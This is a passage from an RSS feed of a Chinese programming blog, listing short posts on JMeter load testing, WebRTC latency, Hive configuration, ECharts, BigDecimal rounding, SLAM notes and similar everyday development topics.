%：错误率，错误请求占所有请求的比率是多少&#xA;Throughput：这个就是常说的TPS了，也就是中文常说的吞吐量。代表的是服务处理请求的能力，服务器在1秒之内能处理多少个请求。&#xA;最后面两个就是每秒接收数据量和发送数据量，不过这两个值，有些情况下会没有&#xA;因为跑的时间比较短，再跑长点时间，TPS可以到1000。因为我这个框架，业务比较简单，而且数据库里的数据也非常少，所以响应非常快。通过响应时间，我们可以推算出服务器一个线程，在1秒内可以处理多少个请求。比如这里是1毫秒，那么服务器一个线程，1秒是可以处理1000个请求的。不过呢，这个1毫秒是向下取整得来的，显示是1毫秒，而实际上可能是1.2或是1.3毫秒。再通过TPS，就可以推出服务器大致启了多少个线程在处理请求。比如平均响应时间是20毫秒，那么服务器一个线程一秒可以处理50个请求，如果TPS是400，那么就可以推出服务器大概是启了8个线程在处理请求。当然，这个并不是绝对的，尤其是在服务器没有达到极限的时候。接下来，再看服务器的资源使用情况&#xA;可以看到，在刚开始发请求的时候，服务器的CPU使用率非常地高，最高的时候达到了75%，因为这个时候，服务器要创建很多线程，线程又要处理业务，所以CPU的使用率就变得很高了。然后，到了后期，线程都创建好了，那么就只有处理业务的消耗，所以CPU的使用率就慢慢的降下来了，并趋于平稳。内存就没有什么可看的了，跑得时间短，如果跑的时间比较长，比如10分钟，而在跑的过程中，一直在增高，那么就要考虑有内存泄露的问题了。而磁盘I/O，因为没有打日志，所以就完全没有了。&#xA;1个线程的跑完了，服务器的性能就有了一个基准值。那么就要再加线程跑，现在加到2个线程跑。&#xA;清除之前的结果，运行&#xA;可以看到2个线程的时候，TPS是1677，相较于1个线程的TPS，没有达到2倍，存在着衰减，当然跑的时间太短，对比的数据，参考性不是很准确。然后，再启3个线程跑：&#xA;2个线程TPS是1677，3个线程是1729，只增加了一点点。那么就可以得出结论，服务器的TPS极限就是1700多一点。后面，再增加线程来压，TPS也增长不动，甚至还会出现下降的情况。&#xA;现在只是测试了一种情况，还有带参数的情况，只是脚本改一下，测试的过程是差不多的。再然后就是做参数化，让脚本在运行的过程中，不停地改变参数，来查看服务器的的性能，新建一个记事本，内容如下&#xA;然后，在脚本里引入这个文件，读取里面的内容做参数&#xA;然后线程组，设置启一个线程，循环4次，察看结果树的只显示错误，不勾选，运行一下，看结果&#xA;可以看到，4次，每次运行的结果都不一样，然后就是让脚本一直循环，持续运行一段时间，看性能数据&#xA;这是启2个线程跑的，可以看到，比之前全是一样的请求时，性能下降了&#xA;欢迎加入测试群：91425817，一起讨论测试的那此事。</description>
    </item>
    <item>
      <title>springCloud微服务一套架构</title>
      <link>https://bchobby.github.io/posts/b648d244b951e386c849337ebc4c4bd5/</link>
      <pubDate>Sat, 16 Mar 2019 21:00:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b648d244b951e386c849337ebc4c4bd5/</guid>
      <description> </description>
    </item>
    <item>
      <title>DSP28335入门教程：ADC的使用</title>
      <link>https://bchobby.github.io/posts/04e3774ee002d4f611f51ac9ec9ef03e/</link>
      <pubDate>Fri, 15 Mar 2019 20:21:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04e3774ee002d4f611f51ac9ec9ef03e/</guid>
      <description>老笨来讲讲dsp28335的ADC的最基本用法。&#xA;先来看看硬件电路连接图：&#xA;程序 #include &#34;DSP28x_Project.h&#34; #define ADC_CKPS 0x1 // ADC module clock = HSPCLK/2*ADC_CKPS = 25.0MHz/(1*2) = 12.5MHz #define ADC_SHCLK 0xf // S/H width in ADC module periods = 16 ADC clocks #define BUFF_SIZE 4 Uint16 SampleTable[BUFF_SIZE]; main() { Uint16 i; InitSysCtrl(); EALLOW; //允许编辑受保护的寄存器 SysCtrlRegs.HISPCP.all = 0x3; //HSPCLK = SYSCLKOUT/6 = 25.0 MHz EDIS; //禁止编辑 DINT; //关中断 InitPieCtrl(); //复位PIE控制寄存器为0 IER = 0x0000; //清除所有CPU中断标识 IFR = 0x0000; InitPieVectTable(); //初始化中断向量表 InitAdc(); //开启ADC时钟，校准，ADC电路上电 AdcRegs.</description>
    </item>
    <item>
      <title>BigDecimal保留2位小数的处理</title>
      <link>https://bchobby.github.io/posts/85caef4b6364c675069b8a2a1a89b069/</link>
      <pubDate>Fri, 15 Mar 2019 15:33:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/85caef4b6364c675069b8a2a1a89b069/</guid>
      <description>整理……&#xA;//1&amp;gt; 0.00 或者#.00 格式：小数点后两位，不足用0补足。 // 补充：当格式化定义为#.00，对数字0格式化时结果为：.00，此时应使用0.00格式化 DecimalFormat df1 = new DecimalFormat(&#34;#.00&#34;); System.out.println(df1.format(2.2));// 2.20 System.out.println(df1.format(2.246));// 2.25 //2&amp;gt; #.## 格式：小数点后两位，多余的0不显示 DecimalFormat df2 = new DecimalFormat(&#34;#.##&#34;); System.out.println(df2.format(2.2));// 2.2 System.out.println(df2.format(2.246));// 2.25 System.out.println(df2.format(2.244));// 2.24 //3&amp;gt; 使用BigDecimal自有API BigDecimal decimal = new BigDecimal(2.2); System.out.println(decimal.setScale(2,BigDecimal.ROUND_HALF_UP));// 2.20 decimal = new BigDecimal(2.456); System.out.println(decimal.setScale(2,BigDecimal.ROUND_HALF_UP));// 2.46 此处的setScale： 参数1：代表小数点后位数 参数2：&#x9;BigDecimal.ROUND_HALF_UP 四舍五入 BigDecimal.ROUND_DOWN 直接删除多余小数位 参考：https://www.cnblogs.com/jpfss/p/8072379.html</description>
    </item>
    <item>
      <title>ArcGIS恢复初始设置（默认设置、出厂设置）的方法</title>
      <link>https://bchobby.github.io/posts/103f6b7e6abe85f63fc683a1d00bdc55/</link>
      <pubDate>Fri, 15 Mar 2019 11:03:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/103f6b7e6abe85f63fc683a1d00bdc55/</guid>
      <description>警告：&#xA;下面的操作涉及更改操作系统的重要组成部分。必要时，请咨询计算机系统专业人士。&#xA;重命名 ESRI 文件夹即对 ArcGIS 恢复出厂设置，因此必须重新安装当前安装的所有第三方工具、自定义脚本和自定义工具栏。 此外，必须重新连接所有现有的文件夹连接。&#xA;操作：&#xA;1、重命名ESRI文件夹，以恢复ArcGis初始设置&#xA;关闭任何活动的 ArcMap 和 ArcGIS 应用程序。&#xA;打开 Windows 资源管理器。导航至路径：C:\Users\Administrator\AppData\Roaming&#xA;win7-win10为该路径，Administrator为当前系统用户名。默认情况下，应用程序数据（ AppData）文件夹是隐藏的。 如果无法定位文件夹，通过“文件夹选项”启用“显示隐藏的文件和文件夹”。&#xA;2、在“注册表编辑器”窗口中重命名 ESRI 文件夹&#xA;单击开始 &amp;gt; 运行，然后输入 regedit。&#xA;在“注册表编辑器”窗口中，展开 HKEY_CURRENT_USER 文件夹。&#xA;展开“Software”文件夹。&#xA;将 ESRI 文件夹重命名为“ESRI_OLD”。&#xA;3、启动ArcMap，将自动完成初始化设置（自动生成ESRI文件夹与注册表项）。&#xA;更多阅读：CGCS2000 国土三调 HEC-RAS 注册测绘师</description>
    </item>
    <item>
      <title>webrtc代码走读五（视频端到端时延分析）</title>
      <link>https://bchobby.github.io/posts/7ee7c5c312bc0c2a4fb202ae1c09e281/</link>
      <pubDate>Wed, 13 Mar 2019 13:45:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7ee7c5c312bc0c2a4fb202ae1c09e281/</guid>
      <description>一、延时对主观质量的影响（T-REC-G.114） 图中横轴坐标是毫秒，代表时延。纵轴坐标是用户的体验度。由上图，时延达到150毫秒的时候，用户体验度开始下降，当达到400毫秒的时候，用户的感受是无法容忍。&#xA;由此，ITU-T G.114国际标准规定，延时超过150毫秒表示已经开始影响用户体验，用户可以容忍的最高延时是400毫秒。&#xA;二、测试组网模型 三、视频处理流水 视频端到端时延，分三大块：发送端产生时延、网络产生时延、接收端产生时延。&#xA;四、视频发送端产生延时 1）摄像头产生延时 摄像头视频采集时会遇到成像延迟，主要由如下几方面组成：&#xA;1、CMOS/AD转换相关硬件产生延时。&#xA;2、视频增强处理，产生延时：比方说白平衡、防闪烁等。&#xA;3、视频数据传输产生的延时：例如下面这个云台视频输出格式有YUV、MJPE。&#xA;使用YUV传输的优点是不需要编解码，但是数据量大，这里1080P数据只能传输8fps。&#xA;使用MJPG传输的优点是数据量小，但是摄像头采集需要经过编码，应用程序使用的时候，需要解码。这里也会产生延时。&#xA;成像延时可以根据产品说明书提供的最大帧率计算，市面上较好的摄像头一秒可达50帧，成像延时约为20ms，如果是一秒20~25帧的摄像头，会产生40~50ms的延时；&#xA;需要注意当摄像头开启AE功能后，视频采集帧率会随着光强动态调整，实际使用时可能不能达到最大帧率值。&#xA;2）视频编码产生延时 与解码器性能、系统配置有关。需要实际仿真测试出具体值。&#xA;3）pacer产生延时 视频报文不同于音频报文，一个视频帧有可能分别封装在几个RTP报文，若这个视频帧的RTP报文一起发送到网络上，必然会导致网络瞬间拥塞。以25fps为例，若这帧视频的RTP报文，能够在40ms之内发送给接收端，接收端既可以正常工作，也缓冲了网络拥塞的压力。PACER就是实现把RTP同一时刻生产的若干包，周期性的发送，防止上行流量激增导致拥塞。&#xA;pacer延时取决于一帧视频实际的大小和帧率。正常来说，pacer的延时是1000/fps的大小。&#xA;五、网络产生延时 根据实际网络情况确定。可以通过webrtc提供的rtt参数计算。&#xA;六、视频接收端产生延时 1）JitterBuffer产生延时 JitterBuffer实现原理是，在收到网络上的RTP报文后，不直接进行解码，需要缓存一定个数的RTP报文，按照时间戳或者seq的顺序进行重排，消除报文的乱序和抖动问题。JitterBuffer分动态JitterBuffer和静态JitterBuffer两种模式：&#xA;1、静态JitterBuffer缓存报文个数固定。&#xA;2、动态JitterBuffer是根据网络环路延时的情况，动态调整缓存报文个数。&#xA;JitterBuffer产生的延时与JitterBuffer的深度有关。目前webrtc采用的是动态JB的思想。解码器解码结束后，找frame_buffer要帧，若当前帧完整无缺，直接送给解码器。若当前帧不全，需要等一个kMaxWaitForFrameMs固定时长，超过这个固定时长，直接跳下一帧。&#xA;所以JB产生的延时在0到kMaxWaitForFrameMs固定时长之间。&#xA;2）视频解码产生延时 与解码器性能、系统配置有关。需要实际仿真测试出具体值。&#xA;3）视频渲染产生延时 与显卡性能有关，需要实际仿真测试出具体值。&#xA;在windows10操作系统，使用potplay播放器采集摄像头视频，直接opengl渲染回放，测试出（视频采集+视频渲染）=80ms&#xA;视频采集大概1000ms/30fps=30+ms。所以视频渲染大概是80ms-30ms=40ms-50ms左右。&#xA;七、端到端视频延时小结 视频端到端延时=摄像头采集延时+视频编码延时+pacer延时+网络延时+JB延时+视频解码延时+视频渲染延时+接收发送端系统调用延时。&#xA;在intel i7-7700 cpu@3.60GHZ 16G内存 windows10操作系统，以25fps摄像头、openh264 480p分辨率，网络0延时，视频端到端固有延时：&#xA;摄像头采集延时40ms&#xA;+视频编码延时7ms&#xA;+pacer延时40ms&#xA;+网络延时0ms&#xA;+JB延时0ms&#xA;+视频解码延时3ms&#xA;+视频渲染延时40ms&#xA;+接收端系统调用延时15ms&#xA;+发送端系统调用延时15ms&#xA;=160ms。</description>
    </item>
    <item>
      <title>hive 配置和java链接hive常见的一些问题</title>
      <link>https://bchobby.github.io/posts/712779141b27b76a9273a247f1fe7e9f/</link>
      <pubDate>Wed, 13 Mar 2019 11:07:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/712779141b27b76a9273a247f1fe7e9f/</guid>
      <description>1 如何配置hive&#xA;使用which hive查找到hive安装路径，hive/conf/路径下的hive-site.xml文件。&#xA;以下4项分别配置使用jdbc链接hive底层元数据库的链接字符串、驱动类名、登录元数据库的用户名、登录元数据库的密码&#xA;&amp;lt;configuration&amp;gt;&#xA;&amp;lt;property&amp;gt;&#xA;&amp;lt;name&amp;gt;javax.jdo.option.ConnectionURL&amp;lt;/name&amp;gt;&#xA;&amp;lt;value&amp;gt;jdbc:mysql://192.168.76.100:3306/hive?createDatabaseIfNotExist=true&amp;lt;/value&amp;gt;&#xA;&amp;lt;description&amp;gt;JDBC connect string for a JDBC metastore&amp;lt;/description&amp;gt;&#xA;&amp;lt;/property&amp;gt;&#xA;&amp;lt;property&amp;gt;&#xA;&amp;lt;name&amp;gt;javax.jdo.option.ConnectionDriverName&amp;lt;/name&amp;gt;&#xA;&amp;lt;value&amp;gt;com.mysql.jdbc.Driver&amp;lt;/value&amp;gt;&#xA;&amp;lt;description&amp;gt;Driver class name for a JDBC metastore&amp;lt;/description&amp;gt;&#xA;&amp;lt;/property&amp;gt;&#xA;&amp;lt;property&amp;gt;&#xA;&amp;lt;name&amp;gt;javax.jdo.option.ConnectionUserName&amp;lt;/name&amp;gt;&#xA;&amp;lt;value&amp;gt;root&amp;lt;/value&amp;gt;&#xA;&amp;lt;description&amp;gt;username to use against metastore database&amp;lt;/description&amp;gt;&#xA;&amp;lt;/property&amp;gt;&#xA;&amp;lt;property&amp;gt;&#xA;&amp;lt;name&amp;gt;javax.jdo.option.ConnectionPassword&amp;lt;/name&amp;gt;&#xA;&amp;lt;value&amp;gt;123&amp;lt;/value&amp;gt;&#xA;&amp;lt;description&amp;gt;password to use against metastore database&amp;lt;/description&amp;gt;&#xA;&amp;lt;/property&amp;gt;&#xA;&amp;lt;/configuration&amp;gt;&#xA;2 如何要使用java连接hive，需要启动hive的hiveserver2服务。并且进行相关配置，具体如下：&#xA;首先在hive-site.xml中找到&#xA;&amp;lt;property&amp;gt;&#xA;&amp;lt;name&amp;gt;hive.server2.authentication&amp;lt;/name&amp;gt;&#xA;&amp;lt;value&amp;gt;NONE&amp;lt;/value&amp;gt;&#xA;&amp;lt;/property&amp;gt;&#xA;其中value的值默认是NONE，即不需要认证，如果在连接时需要提供认证信息，则需要进行如下配置&#xA;首先将value值改为CUSTOM&#xA;&amp;lt;property&amp;gt;&#xA;&amp;lt;name&amp;gt;hive.server2.authentication&amp;lt;/name&amp;gt;&#xA;&amp;lt;value&amp;gt;CUSTOM&amp;lt;/value&amp;gt;&#xA;&amp;lt;/property&amp;gt;&#xA;配置自定义验证类&#xA;&amp;lt;property&amp;gt;&#xA;&amp;lt;name&amp;gt;hive.server2.custom.authentication.class&amp;lt;/name&amp;gt;&#xA;&amp;lt;value&amp;gt;自定义类名如：org.apache.hadoop.hive.contrib.auth.CustomPasswdAuthenticator&amp;lt;/value&amp;gt;&#xA;&amp;lt;description&amp;gt;&#xA;Custom authentication class.</description>
    </item>
    <item>
      <title>echarts的tooltip自定义formatter函数中拼接字符串模板中的绑定style失效问题</title>
      <link>https://bchobby.github.io/posts/72a5fcb9f052e58261d2cd2f3094223a/</link>
      <pubDate>Wed, 13 Mar 2019 10:58:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/72a5fcb9f052e58261d2cd2f3094223a/</guid>
      <description>tooltip: { trigger: &#39;axis&#39;, axisPointer: { type: &#39;cross&#39; }, formatter:function(params){ console.log(params,&#39;paramsparams&#39;); // 这个params能不能有一个index 区分开当前鼠标在第几个？ let colstyle = colorArr[params[0].dataIndex]=== 0?&#39;#FFFFFF&#39;:&#39;#E83636&#39;; if(params[0].data == null){ params[0].value = &#39;数据为空&#39;; } //:style=&#34;{color:colorArr[params[0].dataIndex]=== 0?&#39;#FFFFFF&#39;:&#39;#E83636&#39;}&#34; if(params[0]&amp;amp;&amp;amp;params[1]){ return &#39;&amp;lt;div style=&#34;width: 300px;white-space: pre-wrap;&#34;&amp;gt;&#39;+params[0].marker+params[0].seriesName+&#39; : &#39;+params[0].value +&#39;&amp;lt;br/&amp;gt;&#39;+params[1].marker+params[1].seriesName+&#39; : &#39;+params[1].value +&#39;&amp;lt;hr style=&#34;border:1px dashed; height:1px&#34; color=&#34;#6E6E6E&#34;/&amp;gt;&#39; +&#39;&amp;lt;span style=&#34;color: #1890FF;width: 50%;&#34;&amp;gt;【风险事件】&amp;lt;/span&amp;gt;&#39; +&#39;&amp;lt;span style=&#34;color: #1890FF;width: 50%;float: right&#34;&amp;gt;【数灵提示】&amp;lt;/span&amp;gt;&#39; + `&amp;lt;div style=&#34;width: 50%;float: left;color: ${colstyle};&#34;&amp;gt;${eventArr[params[0].dataIndex]}&amp;lt;/div&amp;gt;` + `&amp;lt;div style=&#34;width: 50%;float: right;&#34;&amp;gt;${tipsArr[params[0].dataIndex]}&amp;lt;/div&amp;gt;` +&#39;&amp;lt;/div&amp;gt;&#39;; // &#34;{backgroundColor : item.is_badcase === &#39;0&#39;?</description>
    </item>
    <item>
      <title>scipy.optimize.minimize()最优化函数失效问题</title>
      <link>https://bchobby.github.io/posts/ef3ada4bc82cef17d2cdf8fabe31828b/</link>
      <pubDate>Tue, 12 Mar 2019 23:32:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ef3ada4bc82cef17d2cdf8fabe31828b/</guid>
      <description>在使用minimize()函数最优化时，有时候会遇到输出的解和设定的初始值一样，即似乎该函数失效了，并没有求出最优的解。对于这种情况，很可能是因为误差容忍度的设置问题。对于最优化，其利用的数值算法是有停止条件的，不可能一直运算下去，其中误差容忍度就是这个停止条件，即当两次值的差值小于这个容忍度的时候，其就会停止运算，返回结果了。因此，对于这种情况，有可能是目标函数值太小，甚至已经小于了容忍度，这样刚开始运算就停止了，就会让人误以为是函数失效了。对此解决办法有两个，一是重新设置容忍度，即minimize()的tol参数，把其设的小一点，比如你的目标函数值再1e-5左右，则你可以设为1e-8或1e-10之类的，其默认值似乎是1e-5还是1e-6；第二个办法是加大你的目标函数值的尺度，比如乘以1e5或1e6之类的。总之只要保证你的目标函数值和tol相差一定的数量级即可，具体的数量级取决于你对误差的要求，一般5个左右的数量级就可以了。</description>
    </item>
    <item>
      <title>处理SSL certificate problem self signed certificate</title>
      <link>https://bchobby.github.io/posts/a2c16265975cd7a3708b91ba05672837/</link>
      <pubDate>Tue, 12 Mar 2019 14:57:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a2c16265975cd7a3708b91ba05672837/</guid>
      <description>当我本地的HTTPS服务器使用了一个自己生成的证书时，用curl访问这个服务器，遇到如下错误信息：&#xA;SSL certificate problem: self signed certificateMore details here: https://curl.haxx.se/docs/sslcerts.html&#xA;curl failed to verify the legitimacy of the server and therefore could notestablish a secure connection to it. To learn more about this situation andhow to fix it, please visit the web page mentioned above&#xA;这个网站提供了解决方案。最简单的一种：&#xA;使用–insecure忽略：</description>
    </item>
    <item>
      <title>移动端ios软键盘收起时页面向上滑动导致内容不见</title>
      <link>https://bchobby.github.io/posts/53c634d7b3b5b8353396a6448eda8484/</link>
      <pubDate>Tue, 12 Mar 2019 11:32:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/53c634d7b3b5b8353396a6448eda8484/</guid>
      <description>问题描述： 移动端ios键盘弹起时页面会把页面顶上去,输入完成后点击软键盘的完成, 弹框下来了,但是页面没有下来，必须得滑动一下页面。 解决方法： document.body.addEventListener(&#39;focusout&#39;, function () { window.scrollTo(0,0); }); 转载于:https://www.cnblogs.com/zhouqiaoyun/p/10515607.html</description>
    </item>
    <item>
      <title>SRGAN的阅读笔记</title>
      <link>https://bchobby.github.io/posts/da13a6e3e3c9b0a8c4b1e92fa4c15944/</link>
      <pubDate>Mon, 11 Mar 2019 21:34:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da13a6e3e3c9b0a8c4b1e92fa4c15944/</guid>
      <description>SRGAN的网络结构如图所示：&#xA;github pytorch实现源码：https://github.com/ai-tor/PyTorch-SRGAN&#xA;上周末将SRGAN论文阅读了一遍，细节很多，结合源码今天做个总结&#xA;本文在生成器中使用了SRResnet的残差块架构，每个残差块中包含两个3*3卷积层，Conv后跟BN层，采用PRelu作为激活函数，然后使用两个Pixelshuffler层来放大特征尺寸，最后使用一个3×3卷积层得到输出3通道图像。&#xA;在辨别器后用了8个卷积层，每个Conv后跟BN层，采用LeakyRelu作为激活函数，论文里最后用两个全连接层和最终的sigmoid激活函数得到预测为自然图像的概率，代码中使用的激活函数为Sigmoid函数，并在最后使用FCN代替了原始论文中的FC层。&#xA;LeakyReLU和PReLU的区别：https://blog.csdn.net/qq_23304241/article/details/80300149&#xA;PS:SRGAN的纹理更多，可能更适合处理纹理多的图片。&#xA;生成器的Loss计算公式为：&#xA;在生成器中的content loss有两种Loss的选择，一种是平常使用的MSE损失，采用这种损失最后生成的图像PSNR值高但细节并不好&#xA;一种是VGG19的Loss，采用这种损失最后生成的图像细节较好但数据指标较低。&#xA;训练网络的过程为：&#xA;1.使用MSEloss预训练一个生成器&#xA;2.正式开始训练SRGAN，将各级loss清零,初始化label，并分别为真假label赋值&#xA;3.第一遍G生成图和真图一起输入D，然后在D中进行判别，训练D&#xA;4.再次训练G，循环往复</description>
    </item>
    <item>
      <title>高翔《视觉SLAM》第一讲笔记</title>
      <link>https://bchobby.github.io/posts/71bc717c54d2fa4b3a438060249e06c9/</link>
      <pubDate>Mon, 11 Mar 2019 17:06:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/71bc717c54d2fa4b3a438060249e06c9/</guid>
      <description>今天周一，这周准备刷完高翔的视觉SLAM课程前六章，并完成相对应的作业，任务艰巨，争取完成。在学完每章过后都会把今天学习的心得记下来方便日后进行回顾，第一讲的资料我放在文章的最后，方便大家下载。&#xA;第一讲 视觉SLAM：从理论到实践：&#xA;首先：SLAM是什么？&#xA;simultaneous localization and mapping 同时定位与地图构建&#xA;它主要解决两个问题：&#xA;1.我在什么地方？ 就是定位&#xA;2.我周围的环境是什么样子的？ 建图&#xA;这里我们就需要相机来获取信息，相机就是通过一定速率采集图像，形成视频，使用相机就可以通过二维像素点的形式来表示三维世界的信息。但是在这中间缺少了一个维度也就是最重要的维度-深度。&#xA;常用的相机主要是单目相机，双目相机，RGB-D相机；&#xA;他们之间的区别：&#xA;单目相机：把三维空间通过二维面来表示，这种情况下缺少了深度信息，深度信息必须要通过其他方式去获取，现在最好的方式就是通过运动来获取三维信息。&#xA;双目相机：是通过视差来计算深度信息，两个相机对同一物体的拍摄通过不同的角度获取不同的图像，经过相机的标定和算法可以计算出场景中物体的实际大小和距离。&#xA;RGB-D相机是通过红外结构光或者TOF原理来获取物体的深度信息，这种获取的方式比较直接，但是这种方式不能够在室外使用。&#xA;当然还有别的一些相机例如全景相机，但是实际上现在还处于研究阶段，并没有被大家所使用。&#xA;视觉SLAM框架&#xA;一个完整的slam框架主要包括：&#xA;前端： visual odometry&#xA;后端： optimization&#xA;回环：loop closing&#xA;建图：Mapping&#xA;针对SLAM的数学描述：&#xA;我们用运动方程和观测方程来描述SLAM的整个过程，这个过程中，我们已知Uk（我们给小车的运动信号），Z（k，j）也是知道的，这是我们使用传感器测到的数据，我们需要去求的xk和yi，分别对应着定位和环境 这个问题叫做状态估计问题，也是我们后面需要去解决的核心问题。&#xA;第一讲的资料链接：https://pan.baidu.com/s/17lhsDEk2tjp-q7pElniGPQ&#xA;提取码：4lqd</description>
    </item>
    <item>
      <title>小米不插SIM卡，不能安装未知来源应用</title>
      <link>https://bchobby.github.io/posts/bb73302bdaadd2173c26d7f5a6fdb8c2/</link>
      <pubDate>Mon, 11 Mar 2019 15:58:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bb73302bdaadd2173c26d7f5a6fdb8c2/</guid>
      <description>调试时装charles证书，报错不插SIM卡，不能安装未知来源应用&#xA;解决方法：&#xA;打开开发者选项，滑动到最底层有“启用miui优化”，然后把它关闭就可以了。</description>
    </item>
    <item>
      <title>git rebase 私有分支</title>
      <link>https://bchobby.github.io/posts/23af79949535cb643d42af7ef320c129/</link>
      <pubDate>Mon, 11 Mar 2019 15:40:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/23af79949535cb643d42af7ef320c129/</guid>
      <description> 开发过程中，经常会建立私有分支，但master主线只有一条，通过rebase把自己的私有分支rebase到最新master branch.&#xA;git fetch origin git rebase origin/master </description>
    </item>
    <item>
      <title>HTTP长连接、短连接究竟是什么？</title>
      <link>https://bchobby.github.io/posts/d6803a9354e663cd058c6ecdf349524e/</link>
      <pubDate>Mon, 11 Mar 2019 15:28:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d6803a9354e663cd058c6ecdf349524e/</guid>
      <description>详情请参考：HTTP长连接、短连接究竟是什么？ - dai.sp - 博客园&#xA;1. HTTP协议与TCP/IP协议的关系 HTTP的长连接和短连接本质上是TCP长连接和短连接。HTTP属于应用层协议，在传输层使用TCP协议，在网络层使用IP协议。 IP协议主要解决网络路由和寻址问题，TCP协议主要解决如何在IP层之上可靠地传递数据包，使得网络上接收端收到发送端所发出的所有包，并且顺序与发送顺序一致。TCP协议是可靠的、面向连接的。&#xA;2. 如何理解HTTP协议是无状态的 HTTP协议是无状态的，指的是协议对于事务处理没有记忆能力，服务器不知道客户端是什么状态。也就是说，打开一个服务器上的网页和上一次打开这个服务器上的网页之间没有任何联系。HTTP是一个无状态的面向连接的协议，无状态不代表HTTP不能保持TCP连接，更不能代表HTTP使用的是UDP协议（无连接）。&#xA;3. 什么是长连接、短连接？ 在HTTP/1.0中默认使用短连接。也就是说，客户端和服务器每进行一次HTTP操作，就建立一次连接，任务结束就中断连接。当客户端浏览器访问的某个HTML或其他类型的Web页中包含有其他的Web资源（如JavaScript文件、图像文件、CSS文件等），每遇到这样一个Web资源，浏览器就会重新建立一个HTTP会话。&#xA;而从HTTP/1.1起，默认使用长连接，用以保持连接特性。使用长连接的HTTP协议，会在响应头加入这行代码：&#xA;Connection:keep-alive 在使用长连接的情况下，当一个网页打开完成后，客户端和服务器之间用于传输HTTP数据的TCP连接不会关闭，客户端再次访问这个服务器时，会继续使用这一条已经建立的连接。Keep-Alive不会永久保持连接，它有一个保持时间，可以在不同的服务器软件（如Apache）中设定这个时间。实现长连接需要客户端和服务端都支持长连接。&#xA;HTTP协议的长连接和短连接，实质上是TCP协议的长连接和短连接。</description>
    </item>
    <item>
      <title>实现echarts图表滚动，设置自定义滚动条</title>
      <link>https://bchobby.github.io/posts/f18fce37da0417af094cc0ad44976a43/</link>
      <pubDate>Mon, 11 Mar 2019 09:41:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f18fce37da0417af094cc0ad44976a43/</guid>
      <description>echarts自带的dataZoom设置后触发的鼠标滚轮滚动事件会放大缩小echarts图表本身，而不是我们想要的图表滚动效果。&#xA;并且要实现自定义滚动条还是需要自己设置的滚动条用得舒服。通过dataZoom配置项设置很是麻烦。&#xA;于是想出了通过内嵌高度溢出的图表，外层使用高度固定的div来设置滚动条。&#xA;&amp;lt;el-scrollbar style=&#34;height:235px;&#34;&amp;gt; &amp;lt;div id=&#34;barchart&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/el-scrollbar&amp;gt; 在图表外面加上一层element-ui的滚动条。&#xA;#barchart{ width: 1280px; height: 940px; } 图表高度与宽度设置。&#xA;由于图表是根据div宽高自适应生成的，所以滚动条出现时看不到图表的X轴。业务需求又要求既要能滚动又要能看到X轴。&#xA;于是就想到在图表上手动加上一个自定义X轴，但X轴的数值是根据配置项的数据自动计算来的，又搜不到Echarts的内置X轴数值生成算法。而且也不会动态变化。&#xA;所以就想顺水推舟用Echarts来解决Echarts。此时的想法是再生成一个配置项数据一样的图表，但是只显示X轴，将其固定。&#xA;这样就解决了所有问题。&#xA;又想通过设置barWidth为0来隐藏生成的柱状图。但是发现不行。&#xA;灵机一动设置颜色为rgba(x,x,x,0) 即颜色透明。就看不到拉。完美隐藏掉所有不想要的图表组件。&#xA;这时候只需要将X轴固定在希望的位置即可。&#xA;.el-scrollbar{ position: absolute; top: 72px; left: 24px; z-index: 999 } 给外层加上绝对定位，并且提高层级。&#xA;提高层级才能在鼠标移上图表时展示相关信息。不然会被隐藏图表覆盖而没有交互效果&#xA;效果如上图</description>
    </item>
    <item>
      <title>解决——》Handler dispatch failed； nested exception is java.lang.NoSuchMethodError</title>
      <link>https://bchobby.github.io/posts/8f052beca8f101ded42e03b3d2553b64/</link>
      <pubDate>Mon, 11 Mar 2019 09:38:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8f052beca8f101ded42e03b3d2553b64/</guid>
      <description>版权声明：本文为博主原创文章，无需授权即可转载，甚至无需保留以上版权声明，转载时请务必注明作者。&#xA;https&#xA;解决——》Handler dispatch failed; nested exception is java.lang.NoSuchMethodError 1、操作2、现象（错误信息）3、原因（可能有多种原因，但下面是我这次导致错误的原因）4、解决 1、操作 项目重新打包后，程序就找不到对应的方法&#xA;2、现象（错误信息） Handler dispatch failed; nested exception is java.lang.NoSuchMethodError 3、原因（可能有多种原因，但下面是我这次导致错误的原因） 有2个不同版本的jar同时存在&#xA;注：项目的打包都是maven的package，结果发现这种方式不会把同名的另外版本的jar给clean掉，所以之后要先clean再package&#xA;4、解决 删除掉老版本的jar</description>
    </item>
    <item>
      <title>安卓（华为）安装Charles信任证书显示【暂不支持打开此类文件】解决方法</title>
      <link>https://bchobby.github.io/posts/7d283e0dee3c7673a1260ab7a9256a98/</link>
      <pubDate>Sun, 10 Mar 2019 17:11:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d283e0dee3c7673a1260ab7a9256a98/</guid>
      <description>上网找了半天解决方法，都说下载后的APP移动到文件管理-本地-内部储存-Download-browser-安装包，之后再去应用市场-管理-安装包管理 去安装&#xA;结果试了半天都不行。。。。。。最后&#xA;换了谷歌浏览器重新输入网址进行下载就可以安装了，亲测华为浏览器和qq浏览器都安装不了，下载完成的授权信任请查看另一篇相关的文章，还是苹果好没这么多问题，安卓每次装个插件真费劲</description>
    </item>
    <item>
      <title>阻抗匹配简单介绍</title>
      <link>https://bchobby.github.io/posts/79c3b884652e90135cefa145e4463554/</link>
      <pubDate>Sun, 10 Mar 2019 15:14:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/79c3b884652e90135cefa145e4463554/</guid>
